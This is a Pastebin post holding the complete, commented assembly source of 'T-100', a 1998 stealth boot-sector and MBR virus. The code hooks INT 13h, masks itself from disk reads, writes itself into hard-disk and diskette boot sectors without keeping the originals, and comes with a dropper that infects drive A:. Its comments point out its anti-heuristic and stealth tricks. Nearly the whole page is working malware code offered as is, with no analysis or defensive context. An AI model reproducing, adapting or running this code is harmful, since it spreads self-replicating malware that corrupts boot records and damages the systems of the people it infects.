Advertisement
InfectedPacket

T-100 v1.00 Virus (1998)

Aug 2nd, 2015
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;============================================================================
  2. ;
  3. ;
  4. ;    NAME: T-100 v1.00
  5. ;    TYPE: "Stealth" bootsector/MBR infector.
  6. ;  AUTHOR: T-2000 / [Invaders].
  7. ;    DATE: July - August 1998.
  8. ;  STATUS: Research, lame.
  9. ;  RATING: 50%
  10. ;
  11. ;
  12. ; This is a experimental virus, it will probably never take off in the wild.
  13. ; It was inspired by the Da'Boys boot-virus, I also wanted to write a virus
  14. ; that wouldn't take any space, so this is my try.
  15. ;
  16. ;
  17. ; It doesn't preserve the original bootsector/MBR of infected drives, when
  18. ; booting from a infected drive (both diskette & harddisk), it will execute
  19. ; the MS-DOS bootsector located on drive C: (track 0, head 1). All standard
  20. ; MS-DOS systems have their bootsector resided at this position.
  21. ;
  22. ;
  23. ;                         "They said they got smart..."
  24. ;                               - Terminator -
  25. ;
  26. ;============================================================================
  27.  
  28.  
  29.                 .MODEL  TINY
  30.                 .STACK  1024            ; For the dropper.
  31.                 .CODE
  32.  
  33.  
  34. Revector        EQU     0FEh
  35. Marker_Boot     EQU     '8H'
  36.  
  37.  
  38.                 JMP     Virus_Entry
  39.                 NOP
  40.  
  41.  
  42.                 DB      '[FiRST GENERATiON]'
  43.  
  44.  
  45.                 ORG     62
  46. Virus_Entry:
  47.                 MOV     SI, 7C00h               ; Initialize some registers.
  48.                 XOR     DI, DI
  49.  
  50.                 CLI                             ; Set our stack.
  51.                 MOV     SS, DI
  52.                 MOV     SP, SI
  53.                 STI
  54.  
  55.                 MOV     DS, DI                  ; DS=00h.
  56.                 MOV     BX, SI
  57.  
  58.                 MOV     AX, (512 / 16)          ; ES = last 512 bytes of IVT.
  59.                 MOV     ES, AX
  60.  
  61.                 MOV     CX, (512 / 2) - 1       ; Copy virus to relocated.
  62.                 INC     CX                      ; - ANTI-HEURISTIC -
  63.                 CLD
  64.                 REP     MOVSW
  65.  
  66.                 DB      0EAh                    ; Fixed JMPF to relocated.
  67.                 DW      OFFSET Relocated
  68.                 DW      (512 / 16)
  69.  
  70. Virus_Name      DB      '=[ T-100 (c) 1998 by me of a certain group ]='
  71.  
  72. Relocated:
  73.                 MOV     SI, 13h * 4             ; Initialize some registers.
  74.                 MOV     DI, OFFSET Int13h
  75.  
  76.                 CLI                             ; Save & hook INT 13h.
  77.                 MOVSW
  78.                 MOVSW
  79.                 MOV     WORD PTR DS:[SI-4], OFFSET NewInt13h
  80.                 MOV     WORD PTR DS:[SI-2], CS
  81.                 STI
  82.  
  83.                 PUSH    DS                      ; ES=00h.
  84.                 POP     ES
  85.  
  86.                 MOV     AX, 0201h               ; Read MBR of 1st harddisk.
  87.                 PUSH    AX                      ; So it will be infected.
  88.                 INC     CX                      ; CX=01h.
  89.                 MOV     DX, 80h
  90.                 INT     13h
  91.  
  92.                 POP     AX                      ; AX=0201h, read bootsector.
  93.                 MOV     DH, 01h
  94.                 INT     Revector
  95.  
  96.                 PUSH    ES                      ; JMP to bootsector.
  97.                 PUSH    BX
  98.                 RETF
  99.  
  100.  
  101. NewInt13h:
  102.                 CMP     AH, 02h                 ; Read?
  103.                 JB      JMP_Int13h
  104.  
  105.                 CMP     AH, 03h                 ; Write?
  106.                 JA      JMP_Int13h
  107.  
  108.                 OR      DH, DH                  ; Head zero?
  109.                 JNZ     JMP_Int13h
  110.  
  111.                 CMP     CX, 01h                 ; Track zero, bootsector/MBR?
  112.                 JNE     JMP_Int13h
  113.  
  114.                 INT     Revector                ; Execute function.
  115.                 JC      Do_RETF2
  116.  
  117.                 CALL    Check_Infect
  118.  
  119. Do_RETF2:       RETF    2                       ; Return to caller.
  120.  
  121. JMP_Int13h:     JMP     DWORD PTR CS:Int13h     ; JMP to INT 13h-chain.
  122.  
  123. Check_Infect:
  124.                 PUSHF                           ; Save registers.
  125.                 PUSH    AX
  126.                 PUSH    BX
  127.                 PUSH    CX
  128.                 PUSH    SI
  129.                 PUSH    DI
  130.                 PUSH    DS
  131.                 PUSH    ES
  132.  
  133.                 PUSH    ES                      ; DS = readbuffer.
  134.                 POP     DS
  135.  
  136.                 CMP     DS:[BX.Place_Sign], Marker_Boot
  137.                 JNE     Infect_Disk
  138.  
  139.                 XOR     AX, AX                  ; Place zeroes where the
  140.                 MOV     DI, BX                  ; virus resides.
  141.                 ADD     DI, 62                  ; - STEALTH -
  142.                 MOV     CL, (1BEh - 62) / 2
  143.                 CLD
  144.                 REP     STOSW
  145.  
  146.                 MOV     DI, BX                  ; Also hide virus signature,
  147.                 ADD     DI, 504                 ; INT 13h address, and mark.
  148.  
  149.                 STOSW
  150.                 STOSW
  151.                 STOSW
  152.  
  153.                 JMP     Exit_Infect
  154.  
  155. Infect_Disk:
  156.                 XCHG    CX, AX                  ; Reset drive, (AH=00h).
  157.                 INT     Revector
  158.  
  159.                 PUSH    CS
  160.                 POP     ES
  161.  
  162.                 MOV     SI, BX                  ; Copy datablock into virus.
  163.                 MOV     DI, 3
  164.                 ADD     SI, DI
  165.                 MOV     CX, 59
  166.                 CLD
  167.                 REP     MOVSB
  168.  
  169.                 MOV     SI, BX                  ; Copy partition-table into
  170.                 MOV     DI, 1BEh                ; our virusbody.
  171.                 ADD     SI, DI
  172.                 MOV     CL, (504 - 1BEh) / 2
  173.                 CLD
  174.                 REP     MOVSW
  175.  
  176.                 MOV     AX, 0301h               ; Write infected bootsector.
  177.                 XOR     BX, BX
  178.                 INC     CX                      ; CX=01h.
  179.                 INT     Revector
  180.  
  181. Exit_Infect:    POP     ES                      ; Restore registers.
  182.                 POP     DS
  183.                 POP     DI
  184.                 POP     SI
  185.                 POP     CX
  186.                 POP     BX
  187.                 POP     AX
  188.                 POPF
  189.  
  190.                 RETN
  191.  
  192.  
  193.                 DB      '[T-100] stainless steel prototype', 0
  194.  
  195.                 DB      'Manufactured by Cyberdyne Systems, '
  196.                 DB      'Los Angeles - 2016.', 0
  197.  
  198.                 DB      'MISSION OBJECTIVE: Termination of '
  199.                 DB      'senator Johnson.', 0
  200.  
  201.  
  202.                 ORG     504
  203.  
  204. Int13h          DW      0, 0
  205. Place_Sign      DW      Marker_Boot
  206.                 DW      0AA55h
  207.  
  208. ;-------------[ END ]--------------------------------------------------------
  209.  
  210.  
  211. ; Dropper, installs the virus on the drive A: bootsector.
  212.  
  213. START:
  214.                 PUSH    CS
  215.                 POP     DS
  216.  
  217.                 PUSH    CS
  218.                 POP     ES
  219.  
  220.                 MOV     BP, 4
  221.  
  222. Try_Again:      DEC     BP
  223.                 JZ      Exit
  224.  
  225.                 XOR     AH, AH                  ; Reset drive A:
  226.                 CWD
  227.                 INT     13h
  228.  
  229.                 MOV     AX, 0301h               ; Overwrite bootsector with
  230.                 XOR     BX, BX                  ; our virus.
  231.                 MOV     CX, 01h
  232.                 INT     13h
  233.                 JC      Try_Again
  234.  
  235.                 MOV     AH, 09h                 ; Display message.
  236.                 MOV     DX, OFFSET Warning_Msg
  237.                 INT     21h
  238.  
  239. Exit:           MOV     AX, 4C00h               ; Exit to DOS (yeah rite!).
  240.                 INT     21h
  241.  
  242. Warning_Msg     DB      'WARNING: Infected drive A: with T-100 virus!'
  243.                 DB      0Ah, 0Dh, '$'
  244.  
  245.                 END     START
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement